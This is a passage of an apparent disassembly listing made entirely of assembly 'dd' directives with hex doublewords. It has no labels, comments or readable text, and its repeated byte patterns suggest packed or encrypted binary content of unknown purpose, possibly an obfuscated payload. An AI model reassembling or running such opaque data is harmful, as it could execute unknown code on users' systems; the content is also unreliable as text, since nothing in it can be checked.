		dd 1553A021h, 6A8201A2h, 0A9BB1733h, 25BDADE8h,	6A8211B2h
		dd 0BFAB0733h, 8963478Eh, 8F6140EFh, 82DD76E1h,	0D7C3336Ah
		dd 672B289Dh, 1EBFF2Dh,	0CF24DFB4h, 1D63F658h, 2F000001h
		dd 3A24E11Ch, 425F39Dh,	0F15AC89Ah, 3EB2FEC5h, 8F597BE0h
		dd 316EE4DEh, 7D6DA0D9h, 0D17AE2C4h, 336AFCB0h,	29504CA6h
		dd 0C14CD9B5h, 3CB20FE1h, 783DF4B8h, 0B0B2DD8Ch, 79628F28h
		dd 9E74336Ah, 889AFBA2h, 8503897Ah, 6A79B1D2h, 4BA733h
		dd 336A79E3h, 79FE13C4h, 0AE0336Ah, 0A0EF655Dh,	24DD6882h
		dd 0F658348Dh, 4FCCh, 0E71C7600h, 1E934422h, 40B5CCE9h
		dd 7390336Ah, 75B5CCE9h, 0A7EE9F75h, 0B2336ABCh, 0EA830270h
		dd 0D67BDC5Ah, 0D8B5CCE9h, 324090E2h, 8FE92CA7h, 0CCE9E72Ch
		dd 9932B835h, 35CCE968h, 51CE847Eh, 0E903A00Bh,	0BD1535CCh
		dd 61E074C1h, 0B8000000h, 3A24E11Ch, 3F6B40BCh,	172E3DC5h
		dd 0C464FA5Dh, 9C723EB2h, 0B18F1CC9h, 96B7A39Eh, 0E7816B7Fh
		dd 0B98AB32Fh, 86DC7F96h, 749E4CCBh, 0A11AB6D5h, 5A50336Ah
		dd 2E8FA28h, 0F70ECFB7h, 0DE3C269h, 8210625Ch, 1F501529h
		dd 0B0E9C138h, 86A74D1Dh, 0A530424Eh, 2883ED28h, 33E8DC16h
		dd 35FEAC0h, 3A24E11Ch,	0B91CDD91h, 7821993Eh, 0A2FF15D5h
		dd 0D7731DBAh, 679ACF64h, 0DF9D133h, 0A310625Ch, 953455BFh
		dd 2DCF7AB5h, 0C374F278h, 2CCF3AAEh, 0D8085AB0h, 846A78AAh
		dd 3F7FBD89h, 0C8453168h, 0D6779D4Dh, 2647A9BFh, 7716F8EFh
		dd 0B9E00AD8h, 3DBCD6D8h, 0AF7D9713h, 79C451BBh, 82DA8369h
		dd 0Ah,	5284AF14h, 0E5BDB72Bh, 825B821Eh, 0CC9E3168h, 25C80726h
		dd 243B4AF3h, 507C93CAh, 84A8E786h, 0C4E42B52h,	0FDC732Ah
		dd 5D0944E5h, 53A496B7h, 0C381E389h, 4,	8704EB83h, 895C241Ch
		dd 268242Ch, 8900003Bh,	0B168240Ch, 89000028h, 6857242Ch
		dd 27432064h, 0AACF815Fh, 812DDA21h, 705239F7h,	0FB895329h
		dd 5F5BD989h, 758C68h, 24248900h, 4240481h, 5D000000h
		dd 4EC81h, 0C890000h, 8458F24h,	52242C8Bh, 0C281E289h
		dd 4, 4C281h, 14870000h, 0C8B5C24h, 0E1895124h,	4C181h
		dd 0C1810000h, 4, 5C240C87h, 0FB04F6E9h, 47A0DDFFh, 3252A9E9h
		dd 55A05B79h, 0AB782BB8h, 0FFC50306h, 75D147E0h, 3DC06E06h
		dd 971EDD49h, 0C675C566h, 0FFC1A933h, 9F920618h, 0D77CF749h
		dd 72C57B0Dh, 0B008C260h, 0CAAF903Ch, 3FF41D22h, 8A6D1D0Fh
		dd 3538480Dh, 6AE4F52Bh, 9760983Ch, 88DBDA39h, 85A12632h
		dd 2B15FE22h, 0D115665Ah, 448A217Fh, 1DA85415h,	0B9E05552h
		dd 0BE84Fh, 6A4F0000h, 33A2E91Eh, 5C3247E3h, 12E839h, 720D0000h
		dd 0D6DA2821h, 53200BF2h, 0A9B049EAh, 30C6B1Bh,	8E9h, 3900800h
		dd 0B1277CFBh, 815B5E53h, 6B7EC3h, 0BFCA8B00h, 0
		dd 2890Fh, 0F78B0000h, 661F34FFh, 587261BEh, 3820Fh, 0BF0F0000h
		dd 11F081CFh, 0F8241473h, 0DD11F081h, 0FE97F1Dh, 95000000h
		dd 0B669BC3Dh, 0E2AEAD4Bh, 0EF5D2B79h, 0F0811E3Dh, 0E0DDB17h
		dd 50F7B70Fh, 94F2C3B9h, 3B048F05h, 0EF835951h,	0DE904h
		dd 0A14C0000h, 2F5AACCh, 0F787BF85h, 81FD6642h,	0FF9544FFh
		dd 99850FFFh, 0E8FFFFFFh, 0Bh, 0CDD2C4C4h, 0A0E7CF1Bh
		dd 56C3C1E1h, 4F21D981h, 5A5E42E1h, 60EBh, 17h dup(0)
		dd 3FE90000h, 0E900000Bh, 0B33h, 0AB822568h, 349E906h
		dd 7D68FFFBh, 0E906AB83h, 0FFFB033Fh, 0AB83EA68h, 335E906h
		dd 382DFFFBh, 0EEF847D2h, 0DD8E8904h, 8D53FA37h, 456FD663h
		dd 6AC30693h, 3875A34Dh, 15A04E1Dh, 44D1072Ah, 0B603E9F9h
		dd 1CB526A8h, 2336793h,	0DD7A5BE7h, 5A44E533h, 22D82E6Ah
		dd 1F55091Bh, 2E5FB1B0h, 92786FD0h, 9AF750F9h, 372B5487h
		dd 4632ACDDh, 749E4CCBh, 74A24DEAh, 1D004FFEh, 6C7392CBh
		dd 88B4DB82h, 94B5630Dh, 0E10F3E2Ah, 0B9E1572Dh, 0BFB52FBFh
		dd 83BA6C10h, 0F4729C4Ch, 0D9E8966Eh, 0C002543Ch, 0CC0D668Bh
		dd 0C0920835h, 0EB01226Dh, 9C232B2h, 91F067B7h,	7B63D0A2h
		dd 8F5DE4C2h, 0EAD47561h, 41EA70FEh, 35CC9420h,	2786DC36h
		dd 53D32EAFh, 0E5A9C965h, 0EA9B7A3h, 3EB9CD97h,	0C4630DE5h
		dd 105C0DE7h, 60C10AA7h, 0CAA61C33h, 0D98D2AB8h, 0DC18E633h
		dd 6861025h, 0DDC90017h, 39873893h, 39913360h, 0F71DCD00h
		dd 875B60BAh, 84A4036Dh, 0B5CF336Ah, 1CF945FDh,	933826E3h
		dd 867821CBh, 18AE14AEh, 471DE817h, 5BFC7A0Bh, 35CCE936h
		dd 0F1B0C238h, 0B0A60DA5h, 0BC50F3FEh, 832DD26Bh, 680351A8h
		dd 49h,	26E31C2Ah, 0E819B238h, 0FE35CCE9h, 0E9ACC576h
		dd 58B235CCh, 7A5A166Ch, 0CCE9B0D1h, 481FA635h,	2F1B87A6h
		dd 57FC7A93h, 0A9E97BADh, 0F69835Bh, 3E6F81A0h,	0A1F28EC4h
		dd 0FDD7A05h, 6DBBA6E1h, 2AB0C23Ch, 27h, 26E31C7Eh, 2F8A7AEAh
		dd 36193D7Dh, 309B095Bh, 35CC7093h, 0E25B0FB4h,	243E2AC0h
		dd 7AC6524Eh, 69835B2Eh, 1C05A1DDh, 9D3A24E1h, 9C0627CDh
		dd 47FF58C6h, 573EB2DAh, 668FC27Bh, 19336AD8h, 0CA72351h
		dd 4BF65895h, 1A8h, 25E01CF7h, 8437BD3Bh, 35CCE96Fh, 48CB9971h
		dd 35CCE9D3h, 11BCEDC5h, 0D46EBB51h, 0D16D875Bh, 322C8A7Ah
		dd 0D5C1320h, 0D0C06C12h, 283AB3E2h, 6E9B6B85h,	721A5CB2h
		dd 1C08481Ah, 0A9EA26E3h, 0B0A60D1Dh, 0BC50F3FEh, 0CC437CCDh
		dd 93CC865Eh, 2Ch, 26E31C1Fh, 0B0D17AEAh, 0A635CCE9h, 2E7AF04Ch
		dd 2A3A835Bh, 4F3BED97h, 11BAA41Eh, 35CCE9F0h, 84100CE6h
		dd 637205A1h, 0D6000000h, 3826E31Ch, 7A23CD93h,	7AB6CA98h
		dd 0CCE9B0D1h, 38289735h, 59E69CD6h, 49726288h,	0CFD727E7h
		dd 7AC15D49h, 0A002AC8Ah, 2E243B70h, 1BBC3AC0h,	35CCFFF6h
		dd 307002F8h, 52748A7Ah, 6D244DEEh, 0D0CA35CCh,	0FF8805E0h
		dd 14481E07h, 0DBA98ABBh, 89C7274h, 0F052C8E6h,	0A1922E1Ah
		dd 924468D7h, 0E01C80C0h, 67903B25h, 7135CCE9h,	7170DF99h
		dd 57F620CCh, 40E57F6Bh, 97CCD02Ch, 8047D444h, 779D4DF2h
		dd 875BE03Ah, 0F945D16Dh, 0E00EDD7Ah, 0C70F45B9h, 0C4630D08h
		dd 615D0CE6h, 0CFA95F13h, 0E97D9641h, 776335CCh, 0A60DA5FDh
		dd 0A5F3FEB0h, 38h, 0E86D10BFh,	2E2410FAh, 26E31C12h, 0B0D17AEAh
		dd 0A635CCE9h, 2E7AF04Ch, 163A835Bh, 0A158D4C0h, 417205h
		dd 8040000h, 5AFDD9C5h,	35CC1029h, 87D3C33Fh, 0DF93E15Bh
		dd 0E354E31Ch, 35CCE94Eh, 5BFC7A50h, 35CCE936h,	5AD6C238h
		dd 0E9B0D17Ah, 99735CCh, 0CCE905AEh, 0A5BF2B35h, 7A47D3CFh
		dd 69835B2Eh, 7205A1DDh, 0B4h, 608A5F04h, 0F38FC539h, 365BFC7Ah
		dd 7F35CCE9h, 4F83408Dh, 645E09C4h, 2BE6E6EEh, 23A8EFA2h
		dd 531D09FEh, 0CC3B43F8h, 0CC7D5535h, 2D4BA181h, 0B1FA5FD1h
		dd 61F37379h, 875B9620h, 0F945D16Dh, 4A75E31Ch,	0C879D29Ch
		dd 0DE35CCE9h, 7ABC08E4h, 8BB50CDDh, 0C638615Dh, 0DB9F58Ch
		dd 0F3FEB0A6h, 0DA4ABC50h, 9E4476CEh, 25ABC4h, 1C170000h
		dd 7AEA26E3h, 0CCE9B0D1h, 0F04CA635h, 262C8A7Ah, 47CECD20h
		dd 5BCBA70Dh, 0A1DD6983h, 227205h, 1CD60000h, 7AEA26E3h
		dd 0CCE9B0D1h, 3E289735h, 432FFCD4h, 8240E8E1h,	6AA692F0h
		dd 835B2E7Ah, 5A1DD69h,	0BC1F875Bh, 35CCE917h, 0ABB5A119h
		dd 0A2B05A0Ch, 0F721CC03h, 25CF93BAh, 0BF6CCB3Bh, 3EED46E2h
		dd 23428124h, 2035CC29h, 6A78AAD8h, 44E50FD3h, 5B006E5Ah
		dd 0B63E6FB9h, 0CC29EC05h, 2C18F235h, 0F6974163h, 1C3B760Ch
		dd 1885A44Eh, 82547FEEh, 2C88B4DBh, 0CC29668Bh,	0A6920835h
		dd 33414987h, 0E41E82B2h, 43DE3436h, 0ADCB4283h, 0B21A8C0Ah
		dd 50739A3Eh, 5CFBE786h, 0DBC766B0h, 0F21BBEEFh, 8D336A18h
		dd 0C72938A7h, 0FA263CA6h, 5AFD7B88h, 336A1829h, 54B1C33Fh
		dd 0F65855BDh, 19FCh, 18CF7400h, 196B57F6h, 6D875B59h
		dd 0E9749D3Ch, 0AF6B35CCh, 49A38755h, 875BA2FCh, 0E917BC1Fh
		dd 0A11935CCh, 5D0CABB5h, 0F15A8AB3h, 35CCE950h, 0E2706C46h
		dd 738A4B43h, 0E0C06FF5h, 11635F0Eh, 0B963CBAEh, 0A4F1E93Eh
		dd 0EAE21FDEh, 7587A6B6h, 66F5ACFDh, 83B8D18Eh,	0D06EC997h
		dd 0E6381986h, 3B62B45Fh, 1FB2EBC7h, 389D64F6h,	6093E189h
		dd 230D83ACh, 9D5F1B88h, 0BD950D38h, 0EB042512h, 0CE03DD4Dh
		dd 16CF8571h, 0FDAF5CFBh, 59BAh, 0DD7A7800h, 4791B30Eh
		dd 0D0C0BC26h, 0B17B10A5h, 5DA9BBF3h, 0DC32379Fh, 0E1A3C66Dh
		dd 0B3AF9B17h, 57F102B5h, 9B635CCh, 0CA3B167h, 0B242C896h
		dd 0B080C3CCh, 216EE4D7h, 0E5F3EE00h, 0A015EA79h, 312DC7E7h
		dd 0DD378E4h, 6C58B2B0h, 3ED4923Dh, 0ADA7930Fh,	2B4Fh
		dd 0E01C1300h, 0D03F9E21h, 86725CFAh, 0E0C67FD8h, 0A9D035CCh
		dd 0FD7B57BDh, 2C9556h,	4918B7D6h, 201C86A7h, 0DF8D2A34h
		dd 0D46E2331h, 15272h, 0E61CD600h, 0F9459723h, 0D16D875Bh
		dd 0A60D1DA9h, 0A5F3FEB0h, 39h,	23E61C6Dh, 0F4F8C945h
		dd 0D167FF16h, 0DD7ACF83h, 0C92E00Eh, 0CCE906ABh, 17C02835h
		dd 35CCE9FAh, 8E1AF6ECh, 9257FC7Ah, 87DDC178h, 6C865BCBh
		dd 7205A1D0h, 5Bh, 23E61CD6h, 5BFC7A97h, 35CCE936h, 22B0C238h
		dd 14BD1EA4h, 0A35CCE9h, 178BB258h, 4FF08278h, 35CCE922h
		dd 0D5531DF5h, 0CCE9C162h, 0B9A8D735h, 0D0CC3657h, 0AAFAF6E0h
		dd 780AFD02h, 5B2E7A38h, 0F2026C86h, 0D93BA465h, 0F4F49325h
		dd 7A08481Ah, 0E9365BFCh, 0C23835CCh, 5BADF9B0h, 45D16D87h
		dd 2006AD2Bh, 6C2F93CAh, 35CCE9C7h, 2F63F1E9h, 0EA26E31Ch
		dd 0A60D1DA9h, 0A5F3FEB0h, 39h,	0E86D10BFh, 72612C4h, 1C89C99Bh
		dd 933826E3h, 9C0627F1h, 0D17A8AC6h, 35CCE9B0h,	7AF04CA6h
		dd 69835B2Eh, 68D7A1DDh, 5AF5947Eh, 0D83A6389h,	72DA96ECh
		dd 2Ch,	26E31CD6h, 0CDD7AEAh, 95B47E6h,	0E993309Bh, 0FB435CCh
		dd 0C6BCB658h, 0FC7A5EEAh, 0CCE9365Bh, 0B0C23835h, 835B7622h
		dd 5A1DD69h, 3F6EB85Bh,	0B1670AB1h, 0EC5A1288h,	0C95997B6h
		dd 9A3487DDh, 9335CC9Ch, 0C37E51Fh, 5B334FDAh, 0C02E3DB8h
		dd 10492599h, 6504D2FDh, 0A9D0062Ah, 0E97F9447h, 896135CCh
		dd 56F71DCEh, 0B130426Eh, 0EE3C5658h, 0B19815C3h, 35CCF3D5h
		dd 0A27B9382h, 7736F0FEh, 0FCFFFFFEh, 0CCE93E57h, 0E91B3435h
		dd 0F31135CCh, 0FB35CCE8h, 35CCE852h, 0CCE82F58h, 0E8882535h
		dd 0CC9F5CCh, 78C477F1h, 3FFEB799h, 0F3ED090h, 8862C193h
		dd 1FCF9D1h, 3ADEF467h,	6BF1F81Ah, 83FAA3C0h, 6B81A5F8h
		dd 178CC63Ch, 63EB44BBh, 6DE0CEECh, 2C60Bh, 83697E00h
		dd 0B55F0F36h, 0E60CDD78h, 12FCECABh, 4294B887h, 9E19B4F7h
		dd 0AEE924F2h, 79C451BFh, 0A358056h, 0FF67B258h
		dd 6BADC671h, 8B33367h,	6D875B0Ah, 8DE8503h, 3447BBE2h
		dd 35CCE99Fh, 0EC4F2981h, 35CCE947h, 42E37169h,	0E28C8944h
		dd 0B9631A49h, 6541883Eh, 93295AFDh, 0C33F3367h, 224CB6D7h
		dd 67931889h, 0B8940E33h, 87A4036Dh, 0F3F81D69h, 7E6A8B70h
		dd 3E81D3CFh, 33679E91h, 7EF815D0h, 1214C2DDh, 283AA138h
		dd 18EA07B0h, 6FC389Ah,	978F732Ah, 0E51A9A44h, 0FE552F10h
		dd 0EDFD5A04h, 0AA0DA954h, 389A5F39h, 0EBC7B32Fh, 4669D65Eh
		dd 6D7DC290h, 2A3E687h,	43389A5Fh, 4AED8B82h, 33EFD513h
		dd 0E04F2981h, 0B29D28C2h, 0B16709B0h, 0EA5934C1h, 4E3AB6D2h
		dd 0DF36B71Fh, 0C0432691h, 79512ABBh, 7E9050FFh, 8C4941E4h
		dd 9569F771h, 47E561F3h, 94273D59h, 2417410Dh, 0FD5EE462h
		dd 14957554h, 862B605Ah, 0A8149575h, 17832032h,	29FFE249h
		dd 6EF48E70h, 0BE0BE1C1h, 39D397h, 955FA4C1h, 5FE8E514h
		dd 955F57FCh, 75615914h, 0D5E140EBh, 19C61FE0h,	7DD2A076h
		dd 0EFEEE485h, 2BEF4816h, 4316B7F5h, 2B4DF057h,	8FBE6D90h
		dd 16E69h, 0EB012600h, 1DF7F75Eh, 4EA48580h, 7A9454F3h
		dd 0AA7C602Fh, 4671CC1Fh, 16318C5Ah, 216CB957h,	0F25DE83Eh
		dd 0A78F1AF0h, 6A15BE19h, 0E01B3367h, 24E11C52h, 63B2913Ah
		dd 99203EB9h, 1F321CBh,	0C09ED2ADh, 5D49B5D4h, 9A4CC02Ch
		dd 0FDB5FE4Bh, 0FCF9055Fh, 0C079AF52h, 0D384E2DEh, 381905E3h
		dd 7BA81F8Bh, 508EE97Ah, 101BB3Dh, 0B4B10000h, 6244C35Eh
		dd 51123D88h, 1276EBBh,	0C9EB52EFh, 0E647821Fh,	0A4F127C9h
		dd 0E924CA99h, 0D85583AEh, 0A876D7Dh, 90319A24h, 8633676Ah
		dd 0E11CDF63h, 0BA913A24h, 383EB963h, 93EA07B0h, 6FC3367h
		dd 0EDC732Ah, 305FB1B7h, 53EEDA0Ch, 6D1CF6F4h, 6C86A403h
		dd 83D13B23h, 0E5837A7Bh, 0CD66D15Fh, 0D3336793h, 0CF2A6DE7h
		dd 85381219h, 0B1B5902Dh, 6247CE5Bh, 0BFEE38DBh, 73DA5743h
		dd 0FC16D06Dh, 2865514Dh, 1895436Dh, 0BCC1133Dh, 0ACBFB22Ch
		dd 0C4B0660Ah, 5F4BA5BBh, 7696FD11h, 4A62A278h,	71FF7938h
		dd 9AA6ADC6h, 0D47B338h, 0FC49A786h, 2041EA70h,	26389AA6h
		dd 44BEE907h, 489E810Eh, 299052FDh, 6C0CD739h, 0ED623362h
		dd 250548F1h, 48249ECFh, 6746C15Ch, 0AA303C89h,	9A5DE001h
		dd 29C7E638h, 6CE847Eh,	0B7204EC7h, 33EFD76Ch, 0B6D9807Ah
		dd 6DC35EB4h, 3, 5B821E35h, 9E316882h, 0C80726CCh, 3B4AF325h
		dd 7C93CA24h, 0A8E78650h, 0E42B5284h, 0DC732AC4h, 944E50Fh
		dd 0A496B75Dh, 4F4E68h,	240C8900h, 81E28952h, 4C2h, 4EA8300h
		dd 5C241487h, 68240C89h, 48BCh,	53240489h, 1C629FBBh, 59A8B911h
		dd 0D9312736h, 41F1815Bh, 54308141h, 8124048Bh,	4C4h, 6BEE6800h
		dd 0C890000h, 8408F24h,	5224048Bh, 0C281E289h, 4, 8704C283h
		dd 8B5C2414h, 8953240Ch, 4C381E3h, 81000000h, 4C3h, 241C8700h
		dd 0F821E95Ch, 0B8CEFFFAh, 6AB8510h, 0C38BC503h, 171E9h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0BE971h,	0B1030000h, 0ABB93A57h,	67D87023h
		dd 0C840FE2h, 0F000000h, 68Bh, 800F00h,	8D000000h, 0AB862BB5h
		dd 858DF506h, 6A9431Ah,	14E9h, 5C8A400h, 2927A4DCh, 9EC23187h
		dd 0BAC4EC87h, 58BADE26h, 60D0FF7Eh, 0CE8h, 81E81400h
		dd 224FCE1Ch, 8FB5419Ah, 5F5E5238h, 0A6D28160h,	0F16B4ABh
		dd 87h,	0C3616100h, 57595760h, 66615BF8h, 6AD98Ch, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 3B0AC7C3h, 0F87CC94Fh, 0EE9h, 858E5A00h, 84E302B3h
		dd 796D2728h, 0F65D56ECh, 840F04C1h, 71h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ah, 86C35747h, 0CAC3C38Ah
		dd 830F7C15h, 11h, 0B800Fh, 6E90000h, 8D000000h, 0E145DFBFh
		dd 8BFB8BACh, 0AEC032CBh, 0CF2BFD75h, 0F92BD9F7h, 8B49D78Bh
		dd 0CD00EBD9h, 1013F20h, 74C00B00h, 0C708D18h, 0CB8BFA8Bh
		dd 490A75A6h, 1B8FA75h,	0EB000000h, 0EB008B09h,	0B8E4h
		dd 6ACF0000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0E6D1C351h, 5E9h, 0CD495100h
		dd 85C78900h, 6AB86BDh,	1013Fh,	9E9h, 0BD860400h, 42h
		dd 0F5E90000h, 7C000004h, 934816Bh, 0D37AB75Dh,	0EEA9E40Eh
		dd 0BA8510FEh, 0B6F54096h, 22F49817h, 57B9A897h, 865073DAh
		dd 0B45E0C0Bh, 0C477F979h, 33676EAFh, 5B0C16B1h, 913C6D87h
		dd 0A1EC39EFh, 93326B81h, 0C90425CFh, 0C269F71Dh, 6F530AE0h
		dd 0BEEF0120h, 219F0E44h, 53F80B79h, 0A6ED67B1h, 0DA686A84h
		dd 6942BBE4h, 7A65207Dh, 0D11EFFA8h, 721D4447h,	0F0E29B71h
		dd 0E38E8904h, 0EAF91435h, 0D1AA5A04h, 0D25CDFE5h, 0E7299CD6h
		dd 0EA1AE91Bh, 1AA8C1A4h, 0EA00210Dh, 1534FB3h,	802B8FB2h
		dd 35CC2C63h, 14A19D75h, 0AAD33929h, 0CC2CFF17h, 0F1032F35h
		dd 0FE615E75h, 7B1DF0h,	7A850000h, 46E70DDDh, 8B9125Ch
		dd 1E35CCE9h, 4161AEA4h, 1501EBF8h, 0E9BED574h,	46C35CCh
		dd 0E9B4DD7Eh, 40BA35CCh, 1094EE32h, 0F0FEA4F9h, 1B8h
		dd 8A7A7A00h, 55D569B7h, 0E19ACBF5h, 3E1F1CF4h,	92786A15h
		dd 0D67DF7EBh, 0C43FA10h, 14FEE35Ah, 1ECE0138h,	4B5749F0h
		dd 0EF3ACA39h, 6F9D9DC3h, 7076DD97h, 62892E9Eh,	4D39F63Fh
		dd 4E988423h, 90D1A31Fh, 0C25FB5B5h, 3CB95B88h,	0B3EAC610h
		dd 0F9A04A1Ch, 0AE7C9698h, 8C0A5482h, 0CCE9862Bh, 2032A835h
		dd 0EE042661h, 0B4A88C80h, 3676DEA8h, 6546893Ch, 567AE18Fh
		dd 6FE5D980h, 0DB80EE3Eh, 0DF50EE04h, 0AA1E7AC4h, 41138FBEh
		dd 0BCE76391h, 9BF0FE9Ch, 6Eh, 6FB95B07h, 38D2973Eh, 61939F01h
		dd 571491B3h, 26128CBDh, 3A268DEBh, 72996ECh, 0AE0997D1h
		dd 35CCE905h, 0A5BF2Bh,	15F610ECh, 30DBCAEAh, 0CC1F6A87h
		dd 0AA867C35h, 9241DEBAh, 0EF65BC6Bh, 6E80A0h, 3D6C865Bh
		dd 8A12B3C1h, 0F86794EEh, 974E04EEh, 0F0FEAF0Ch, 284Bh
		dd 0B95BF700h, 0EC973E6Fh, 8E84033Ah, 6CBAA674h, 835B85D1h
		dd 75913069h, 0A135CCE9h, 0D40F8BF9h, 93F0FEA4h, 1, 0A8A7A1Fh
		dd 7EA3C6C4h, 8704CD99h, 8C7BA2AFh, 729849F6h, 0A4CD6EF4h
		dd 4A35CCAEh, 6CA30250h, 5BF5947Eh, 0F2F7255Fh,	8C58D18h
		dd 0D9C4630Dh, 7605E0Fh, 0D53FF9C3h, 0A50B5935h, 61C2E71Fh
		dd 87A58DB8h, 4E04EEF8h, 0B2A6B5CDh, 3861593Eh,	0E23FD595h
		dd 604E8A7Ah, 8B86D102h, 81D94AEDh, 0D3CF336Ah,	0DA303281h
		dd 0DB0D379Ch, 4EE52489h, 4336A81h, 426F40Eh, 0F6F453EEh
		dd 85036D1Ch, 6A81B1D2h, 3A4FA733h, 6F0FD065h, 0F45B2905h
		dd 226D1CF6h, 1EB1E83Eh, 98F9A04Eh, 9CFD7C96h, 0B0B26092h
		dd 0FB16CF5Ah, 0BAF6583Ch, 160h, 5BFC7A78h, 35CCE936h
		dd 45A64F7Fh, 0B3EC2636h, 4C10D47h, 32CC6F09h, 0C43EB2CEh
		dd 51FA80EEh, 336AAF30h, 0AFD83636h, 418C2133h,	363E8B61h
		dd 930E689h, 7270DF95h,	0BCAEE198h, 8FC82605h, 264733E5h
		dd 0A1802F21h, 97ED354Fh, 328F6545h, 58E2A65Dh,	7BE5F6h
		dd 0D07F0000h, 5E40F913h, 0ADDC3231h, 1C6F2331h, 0C0E326E7h
		dd 435E8999h
		dd 91C82204h, 0A937312Dh, 82CF2102h, 28D9E86Ah,	0BC264733h
		dd 9C15A6h, 0BBC2B5CCh,	2C5D49A3h, 0CC0044EDh, 73D854B5h
		dd 0FAE4856Fh, 0DF4AB868h, 0D487E124h, 35CC00DFh, 53F05B81h
		dd 4535CC00h, 0EE04226Dh, 95743BFh, 1D6DBFA2h, 0C8A9F3ADh
		dd 2C96B7A3h, 0E11D1B56h, 6F68E7B6h, 96FE542h, 8Ch, 24E11C51h
		dd 0C35D913Ah, 0A1193EB2h, 4EAE4FC7h, 0DAADAAA4h, 0F8EA2588h
		dd 0E85AF760h, 564C336Ah, 9057FC7Ah, 81D3CF7Eh,	8B6545C0h
		dd 860C385Eh, 0CB726EC1h, 6A0B1C88h, 0A1771A33h, 7F9555F8h
		dd 41F812D0h, 0F071830Fh, 33E1131Fh, 8A48C52Fh,	3B4B24Bh
		dd 381F92F3h, 61505AAAh, 41DCCF3Ch, 0EC3D2043h,	0B8CAA67Bh
		dd 0EAFC1Bh, 8DA7514h, 8D15BBE2h, 2AE3E277h, 2A5BEB4Ch
		dd 0C44233EBh, 3108FE13h, 780AE026h, 1852EFDBh,	0F1708A7Ah
		dd 0BFC097Ch, 0B5508D79h, 0A6FE00ABh, 22983EB9h, 21CB9F44h
		dd 59CC8678h, 43DE3436h, 5508E6C4h, 0A35C3BF1h,	0C0033A16h
		dd 7F8EB802h, 0A5778D95h, 6BD26F85h, 0A1EC9D77h, 903C6D83h
		dd 3A28FA08h, 0E8FA45D0h, 0D1D5B02h, 97000000h,	0BF05AE09h
		dd 0BF2B7F0Eh, 821EEDA5h, 3168825Bh, 726CC9Eh, 4AF325C8h
		dd 93CA243Bh, 0E786507Ch, 2B5284A8h, 732AC4E4h,	44E50FDCh
		dd 96B75D09h, 2B9868A4h, 14890000h, 4EC8324h, 68243489h
		dd 3DFFh, 55240489h, 1F663FBDh,	0E118BE53h, 0EE3155B4h
		dd 81242C8Bh, 4C4h, 4EC8300h, 83242489h, 58042404h, 8408F56h
		dd 582434FFh, 4C481h, 348B0000h, 0E0895024h, 405h, 40500h
		dd 4870000h, 90E95C24h,	0ABFFFAF1h, 0AB8BBDB8h,	0FFC50306h
		dd 73DCC9E0h, 89CF3B1Ah, 114E4454h, 222CA971h, 88F3674Ch
		dd 0C9B3BD4Eh, 0F2481801h, 3961E026h, 4349903Ch, 0CF826B59h
		dd 0BE39A37Ah, 32246641h, 5F57FC59h, 95FE5352h,	0B0D48670h
		dd 0C7343F04h, 0AE960016h, 38320B68h, 7CE49E31h, 28BDEE27h
		dd 0B4276443h, 3E30636h, 50CF4467h, 0FF0F8A22h,	1B3EA976h
		dd 56E97D4Ah, 6E910155h, 0B6910D4Fh, 0DA3E7E4Fh, 0E4BE4D70h
		dd 0FF3E3E76h, 258D8D68h, 6A06AB8Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 48C8C353h
		dd 2CD99529h, 8D8906A6h, 6A606ADh, 6860Fh, 85010000h, 6A62CB5h
		dd 40D85C7h, 6DC006A6h,	8B660000h, 0E985C7F2h, 6A60Bh
		dd 8B000000h, 41B5FFF1h, 6606A61Eh, 8D31FA8Bh, 6A62689h
		dd 1A7995FFh, 0AE806A6h, 0B2000000h, 4338EAE0h,	0F3B51D78h
		dd 0F5BFC2Bh, 6AD9BFh, 295995FFh, 0C08B06A6h, 7E574EEBh
		dd 4B4EE157h, 52F03BA5h, 12C73593h, 0E6F253C8h,	575C5053h
		dd 7A9539BFh, 82E10356h, 0DA105207h, 43E9D1AEh,	74EC17BBh
		dd 3D3D9C25h, 6B2F4154h, 18481A60h, 0BCAADD85h,	73C1712Ch
		dd 9DDAA9A1h, 30007A0h,	12F53AEBh, 9A7A811Eh, 1DE9h, 6CBC2A00h
		dd 50h,	5 dup(0)
		dd 0FBE90000h, 0C4000004h, 91BC09E3h, 5BE23FD5h, 76D16C86h
		dd 20D9876h, 2E7DC81Eh,	0AA7C608Fh, 0DF31301Fh,	0ED8FB42h
		dd 3CD694B3h, 5CFF81E1h, 33676437h, 5BB48E39h, 1A796987h
		dd 0C9C957D7h, 0BA40ACDDh, 0CC04F011h, 760CE635h, 0A4F127C9h
		dd 7A23C999h, 4CFD17CBh, 9ECF2501h, 0DA087A26h,	0E857E208h
		dd 9E8613C5h, 0E2F1A66h, 1F55253Bh, 1D5B8DB0h, 65C8AB6h
		dd 977968A7h, 20525EF6h, 8C19CFF2h, 124BA181h, 0CCE157FFh
		dd 699B8735h, 0FEAC36EDh, 5D75F0h, 5B3D0000h, 0C62C3E87h
		dd 55068CEAh, 35CCE93Ch, 0BBAC822h, 0CCE959C8h,	51A38F35h
		dd 0FEA43ED5h, 17DF0h, 5B250000h, 9D306983h, 0CF7670C9h
		dd 5648F11Bh, 0B0DFC37Ah, 0B32F5EB0h, 796FA6C7h, 0E535C997h
		dd 15FFECD5h, 0E63DAC3Dh, 0DBC7396Ch, 89637BA9h, 8F6140EFh
		dd 0D191BCF5h, 7A54EE3Bh, 906A7C8Ah, 0D27D1D27h, 246BF92Fh
		dd 10BFEE38h, 8C8DBC56h, 0BEA27082h, 0D553DD68h, 0CC4CC162h
		dd 5CFBD735h, 0DAC4658Fh, 0CD273B88h, 9A70719Ch, 0E71DD5E3h
		dd 0FE0F3863h, 0B517F0h, 7A9B0000h, 0E9365BFCh,	0C23835CCh
		dd 3B49A785h, 303EE894h, 0E9E001AAh, 69B135CCh,	0AFD70725h
		dd 6EE4DE89h, 5A0AB13Fh, 5B2995B4h, 531DF7F4h, 9F4FF6F4h
		dd 0FEEAD475h, 0E163534Fh, 0FFF39F91h, 0BE2687DDh, 0AE5280F2h
		dd 100A10Ah, 0BC1635CCh, 26CA75C0h, 260649F0h, 687E91C8h
